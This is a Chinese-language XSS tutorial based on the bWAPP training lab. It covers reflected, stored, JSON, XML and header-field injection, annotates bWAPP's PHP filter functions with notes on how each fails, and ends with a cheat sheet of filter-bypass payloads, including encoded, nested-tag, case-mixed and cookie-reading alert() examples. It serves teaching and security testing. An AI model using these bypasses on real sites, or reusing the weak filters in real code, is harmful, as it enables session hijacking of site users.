背景
这个系列有很多题,但是其实考察的相近,类似的就不在多说,我们来看吧。主要分几个点来讲:
- 反射型
- 存储型
- JSON
- XM
- 头部字段相关
分类介绍
反射型
在请求中构造了XSS的Payload,一般又是受害者点击导致受害者的客户端被攻击。例如:http://172.16.204.213/bWAPP/xss_get.php?firstname=<script>alert(document.cookie)</script>&lastname=2&form=submit
存储型
一般在博客留言板、评论、个人信息维护等地方容易存在,就是用户构造XSS的Payload保存在数据库中,一旦用户访问该页面,则中招。
JSON型
没有什么太大的不同,注意构造一下Payload,闭合标签即可,Payload:"</script><script>alert(1)</script><script>
XML型
在XML解析payload需要注意<>两个字符需要使用HTML实体编码。
例如,这样
<img src=1 onerror="alert(document.cookie)">
头部字段相关
其实就是值HTTP的很多头部字段都可以XSS,直接构造XSS的Payload的例如Cookie啊,自定义头部字段吧啊,Referer等等。观察一下头部字段那些数据会输出到前端页面上,或者对referer或者location等字段进行控制,跳转到一个有XSS的页面。
XSS防御函数、过滤、绕过
防御函数
//单纯过滤<>,对编码都没有检测,所以做一个url编码就绕过了。
function xss_check_1($data)
{
// Converts only "<" and ">" to HTLM entities
$input = str_replace("<", "<", $data);
$input = str_replace(">", ">", $input);
// Failure is an option
// Bypasses double encoding attacks
// <script>alert(0)</script>
// %3Cscript%3Ealert%280%29%3C%2Fscript%3E
// %253Cscript%253Ealert%25280%2529%253C%252Fscript%253E
$input = urldecode($input);
return $input;
}
//字符转成HTML实体,防御还可以,但是注意该函数的第二个参数选项ENT_QUOTES,编码单双引号,也不是不能绕过。
function xss_check_2($data)
{
// htmlentities - converts all applicable characters to HTML entities
return htmlentities($data, ENT_QUOTES);
}
//把&、<、>、"、'五个符号转成HTML实体
function xss_check_3($data, $encoding = "UTF-8")
{
// htmlspecialchars - converts special characters to HTML entities
// '&' (ampersand) becomes '&'
// '"' (double quote) becomes '"' when ENT_NOQUOTES is not set
// "'" (single quote) becomes ''' (or ') only when ENT_QUOTES is set
// '<' (less than) becomes '<'
// '>' (greater than) becomes '>'
return htmlspecialchars($data, ENT_QUOTES, $encoding);
}
//中级难度的防御,addslashes,转义单双引号和反斜杠,但是不使用单双引号的,防不住的。
function xss_check_4($data)
{
// addslashes - returns a string with backslashes before characters that need to be quoted in database queries etc.
// These characters are single quote ('), double quote ("), backslash () and NUL (the NULL byte).
// Do NOT use this for XSS or HTML validations!!!
return addslashes($data);
}
绕过
//一般payload
<IMG onmouseover=”alert(‘xxs’)”>
//绕过过滤单双引号的
<script>alert(document.cookie)</script>
<img src=1 onerror=alert(1)>
<img src=javascript:alert(1)>//伪协议
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
//绕过关键字检查,大小写变化和无意义(注释、空字符、空格、回车、tab)截断
<ScrIpt>Aler/**/t(1)</ScRipt>
<img src= "javascript: alert(/xss/); width=100>
<scri%00pt>alert(1);</scri%00pt>
<a href="javascript:alert('test')">link</a>//规避关键字
//长度限制
<b oncut=alert()>
<q/oncut=alert(1)>
//绕过尖括号检查,编码、多重编码
%3cscript%3ealert(1)%3c%2fscript%3e
//标签检查,一重去除标签
<scr<script>ipt>alert("XSS")</scr<script>ipt>
/*闭合标签
>
'> 或者 ">
' 或者 "
标签闭合
;
*/
//终极过滤
<IMG SRC=javascript:alert('XSS')>
可以进行xss的标签
<script>
<img>
<div>
<a>
<b>
<iframe>
<video>
<audio>
<svg>
...